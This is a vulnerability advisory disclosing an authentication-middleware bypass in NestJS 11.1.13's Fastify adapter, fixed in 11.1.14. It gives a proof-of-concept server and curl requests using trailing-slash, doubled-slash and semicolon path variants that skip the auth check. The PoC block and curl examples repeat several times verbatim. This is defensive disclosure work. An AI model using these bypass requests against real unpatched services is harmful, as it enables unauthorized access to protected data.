NestJS 11.1.13 - Lack of data validation allowing authentication/authorization bypass

8,2

High

Discovered by

Cristian Vargas

Offensive Team, Fluid Attacks

Summary

Full name

NestJS 11.1.13 - Lack of data validation allowing authentication/authorization bypass

Code name

State

Public

Release date

27 feb 2026

Affected product

nest.js

Vendor

nest.js

Affected version(s)

11.1.13

Fixed version(s)

11.1.14

Package manager

npm

Vulnerability name

Lack of data validation

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

8.2

Exploit available

Yes

CVE ID(s)

Description

A NestJS application using @nestjs/platform-fastify can allow bypass of authentication/authorization middleware when Fastify path-normalization options (e.g., ignoreTrailingSlash, ignoreDuplicateSlashes, useSemicolonDelimiter) are enabled. In affected route-scoped middleware setups, variant paths may skip middleware checks while still reaching the protected handler.

Vulnerability

The bug is a path canonicalization mismatch between middleware matching and route matching in Nest’s Fastify adapter.

  1. Nest passes Fastify routerOptions (such as ignoreTrailingSlash, ignoreDuplicateSlashes, and useSemicolonDelimiter) to the Fastify router in packages/platform-fastify/adapters/fastify-adapter.ts:253.

  2. But middleware execution is decided by a separate regex check over req.originalUrl in packages/platform-fastify/adapters/fastify-adapter.ts:706 and packages/platform-fastify/adapters/fastify-adapter.ts:713.

  3. If that regex does not match, Nest does next() and skips the middleware (packages/platform-fastify/adapters/fastify-adapter.ts:714), while Fastify may still normalize the same path and route it to the protected handler. So the vulnerability exists because security checks (middleware) and request dispatch(router) use different URL interpretations.

This is a fail-open design issue (inconsistent normalization), not just a bad app config: non-default router options make the mismatch reachable.

PoC

  • Use the following code for the PoC

import 'reflect-metadata';
import {
  Controller,
  Get,
  Injectable,
  MiddlewareConsumer,
  Module,
  NestModule,
  RequestMethod,
} from '@nestjs/common';
import { NestFactory } from '@nestjs/core';
import { FastifyAdapter, NestFastifyApplication } from '@nestjs/platform-fastify';

@Injectable()
class AuthMiddleware {
  use(req: any, res: any, next: () => void) {
    if (req.headers['x-auth'] === '1') {
      return next();
    }
    res.statusCode = 401;
    res.end('unauthorized');
  }
}

@Controller()
class AppController {
  @Get('secret')
  getSecret() {
    return { ok: true, secret: 'top-secret' };
  }
}

@Module({
  controllers: [AppController],
})
class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    consumer
      .apply(AuthMiddleware)
      .forRoutes({ path: 'secret', method: RequestMethod.GET });
  }
}

async function bootstrap() {
  const host = process.env.HOST ?? '127.0.0.1';
  const port = Number(process.env.PORT ?? 46090);

  const app = await NestFactory.create<NestFastifyApplication>(
    AppModule,
    new FastifyAdapter({
      routerOptions: {
        useSemicolonDelimiter: true,
        ignoreTrailingSlash: true,
        ignoreDuplicateSlashes: true,
      },
    } as any),
    { logger: ['log', 'error', 'warn'] },
  );

  await app.listen(port, host);

  console.log(`[ready] http://${host}:${port}`);
  console.log(`[check] base blocked: curl -i http://${host}:${port}/secret`);
  console.log(`[check] slash bypass: curl -i http://${host}:${port}/secret/`);
  console.log(`[check] dup slash bypass: curl -i http://${host}:${port}//secret`);
  console.log(
    `[check] semicolon bypass: curl -i http://${host}:${port}/secret;foo=bar`,
  );
}

bootstrap().catch(err => {
  console.error('[fatal]', err);
  process.exit(1);
});
import 'reflect-metadata';
import {
  Controller,
  Get,
  Injectable,
  MiddlewareConsumer,
  Module,
  NestModule,
  RequestMethod,
} from '@nestjs/common';
import { NestFactory } from '@nestjs/core';
import { FastifyAdapter, NestFastifyApplication } from '@nestjs/platform-fastify';

@Injectable()
class AuthMiddleware {
  use(req: any, res: any, next: () => void) {
    if (req.headers['x-auth'] === '1') {
      return next();
    }
    res.statusCode = 401;
    res.end('unauthorized');
  }
}

@Controller()
class AppController {
  @Get('secret')
  getSecret() {
    return { ok: true, secret: 'top-secret' };
  }
}

@Module({
  controllers: [AppController],
})
class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    consumer
      .apply(AuthMiddleware)
      .forRoutes({ path: 'secret', method: RequestMethod.GET });
  }
}

async function bootstrap() {
  const host = process.env.HOST ?? '127.0.0.1';
  const port = Number(process.env.PORT ?? 46090);

  const app = await NestFactory.create<NestFastifyApplication>(
    AppModule,
    new FastifyAdapter({
      routerOptions: {
        useSemicolonDelimiter: true,
        ignoreTrailingSlash: true,
        ignoreDuplicateSlashes: true,
      },
    } as any),
    { logger: ['log', 'error', 'warn'] },
  );

  await app.listen(port, host);

  console.log(`[ready] http://${host}:${port}`);
  console.log(`[check] base blocked: curl -i http://${host}:${port}/secret`);
  console.log(`[check] slash bypass: curl -i http://${host}:${port}/secret/`);
  console.log(`[check] dup slash bypass: curl -i http://${host}:${port}//secret`);
  console.log(
    `[check] semicolon bypass: curl -i http://${host}:${port}/secret;foo=bar`,
  );
}

bootstrap().catch(err => {
  console.error('[fatal]', err);
  process.exit(1);
});
import 'reflect-metadata';
import {
  Controller,
  Get,
  Injectable,
  MiddlewareConsumer,
  Module,
  NestModule,
  RequestMethod,
} from '@nestjs/common';
import { NestFactory } from '@nestjs/core';
import { FastifyAdapter, NestFastifyApplication } from '@nestjs/platform-fastify';

@Injectable()
class AuthMiddleware {
  use(req: any, res: any, next: () => void) {
    if (req.headers['x-auth'] === '1') {
      return next();
    }
    res.statusCode = 401;
    res.end('unauthorized');
  }
}

@Controller()
class AppController {
  @Get('secret')
  getSecret() {
    return { ok: true, secret: 'top-secret' };
  }
}

@Module({
  controllers: [AppController],
})
class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    consumer
      .apply(AuthMiddleware)
      .forRoutes({ path: 'secret', method: RequestMethod.GET });
  }
}

async function bootstrap() {
  const host = process.env.HOST ?? '127.0.0.1';
  const port = Number(process.env.PORT ?? 46090);

  const app = await NestFactory.create<NestFastifyApplication>(
    AppModule,
    new FastifyAdapter({
      routerOptions: {
        useSemicolonDelimiter: true,
        ignoreTrailingSlash: true,
        ignoreDuplicateSlashes: true,
      },
    } as any),
    { logger: ['log', 'error', 'warn'] },
  );

  await app.listen(port, host);

  console.log(`[ready] http://${host}:${port}`);
  console.log(`[check] base blocked: curl -i http://${host}:${port}/secret`);
  console.log(`[check] slash bypass: curl -i http://${host}:${port}/secret/`);
  console.log(`[check] dup slash bypass: curl -i http://${host}:${port}//secret`);
  console.log(
    `[check] semicolon bypass: curl -i http://${host}:${port}/secret;foo=bar`,
  );
}

bootstrap().catch(err => {
  console.error('[fatal]', err);
  process.exit(1);
});
import 'reflect-metadata';
import {
  Controller,
  Get,
  Injectable,
  MiddlewareConsumer,
  Module,
  NestModule,
  RequestMethod,
} from '@nestjs/common';
import { NestFactory } from '@nestjs/core';
import { FastifyAdapter, NestFastifyApplication } from '@nestjs/platform-fastify';

@Injectable()
class AuthMiddleware {
  use(req: any, res: any, next: () => void) {
    if (req.headers['x-auth'] === '1') {
      return next();
    }
    res.statusCode = 401;
    res.end('unauthorized');
  }
}

@Controller()
class AppController {
  @Get('secret')
  getSecret() {
    return { ok: true, secret: 'top-secret' };
  }
}

@Module({
  controllers: [AppController],
})
class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    consumer
      .apply(AuthMiddleware)
      .forRoutes({ path: 'secret', method: RequestMethod.GET });
  }
}

async function bootstrap() {
  const host = process.env.HOST ?? '127.0.0.1';
  const port = Number(process.env.PORT ?? 46090);

  const app = await NestFactory.create<NestFastifyApplication>(
    AppModule,
    new FastifyAdapter({
      routerOptions: {
        useSemicolonDelimiter: true,
        ignoreTrailingSlash: true,
        ignoreDuplicateSlashes: true,
      },
    } as any),
    { logger: ['log', 'error', 'warn'] },
  );

  await app.listen(port, host);

  console.log(`[ready] http://${host}:${port}`);
  console.log(`[check] base blocked: curl -i http://${host}:${port}/secret`);
  console.log(`[check] slash bypass: curl -i http://${host}:${port}/secret/`);
  console.log(`[check] dup slash bypass: curl -i http://${host}:${port}//secret`);
  console.log(
    `[check] semicolon bypass: curl -i http://${host}:${port}/secret;foo=bar`,
  );
}

bootstrap().catch(err => {
  console.error('[fatal]', err);
  process.exit(1);
});
  • Send baseline request (should be blocked)

    curl -i http://127.0.0.1:46150/secret
    Expected: 401
    
    
    curl -i http://127.0.0.1:46150/secret
    Expected: 401
    
    
    curl -i http://127.0.0.1:46150/secret
    Expected: 401
    
    
    curl -i http://127.0.0.1:46150/secret
    Expected: 401
    
    
  • Send variant paths (bypass)

    curl -i http://127.0.0.1:46150/secret/
    curl -i http://127.0.0.1:46150//secret
    curl -i 'http://127.0.0.1:46150/secret;foo=bar'
    Expected: 200
    
    
    curl -i http://127.0.0.1:46150/secret/
    curl -i http://127.0.0.1:46150//secret
    curl -i 'http://127.0.0.1:46150/secret;foo=bar'
    Expected: 200
    
    
    curl -i http://127.0.0.1:46150/secret/
    curl -i http://127.0.0.1:46150//secret
    curl -i 'http://127.0.0.1:46150/secret;foo=bar'
    Expected: 200
    
    
    curl -i http://127.0.0.1:46150/secret/
    curl -i http://127.0.0.1:46150//secret
    curl -i 'http://127.0.0.1:46150/secret;foo=bar'
    Expected: 200
    
    
  • Control request with an auth header

    curl -i -H 'x-auth: 1' http://127.0.0.1:46150/secret
    Expected: 200
    
    
    curl -i -H 'x-auth: 1' http://127.0.0.1:46150/secret
    Expected: 200
    
    
    curl -i -H 'x-auth: 1' http://127.0.0.1:46150/secret
    Expected: 200
    
    
    curl -i -H 'x-auth: 1' http://127.0.0.1:46150/secret
    Expected: 200
    
    

Evidence of Exploitation

  • Unauthorized

  • Bypass

  • PoC

Our security policy

We have reserved the ID CVE-2026-2293 to refer to this issue from now on.

Disclosure policy

System Information

  • NestJS

  • Version 11.1.13

  • Operating System: Any

References

Mitigation

An updated version of Nest.js is available at the vendor page.

Credits

The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.

Timeline

9 feb 2026

Vulnerability discovered

10 feb 2026

Vendor contacted

16 feb 2026

Vendor replied

17 feb 2026

Vendor confirmed

17 feb 2026

Vulnerability patched

27 feb 2026

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Lee un resumen de Fluid Attacks

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

SOC 2 Type II

SOC 3

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

SOC 2 Type II

SOC 3

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

SOC 2 Type II

SOC 3

¡Nos vemos en RSA Conference™ 2026 en el booth N-4614! Agenda una demo on-site.

¡Nos vemos en RSA Conference™ 2026 en el booth N-4614! Agenda una demo on-site.

¡Nos vemos en RSA Conference™ 2026 en el booth N-4614! Agenda una demo on-site.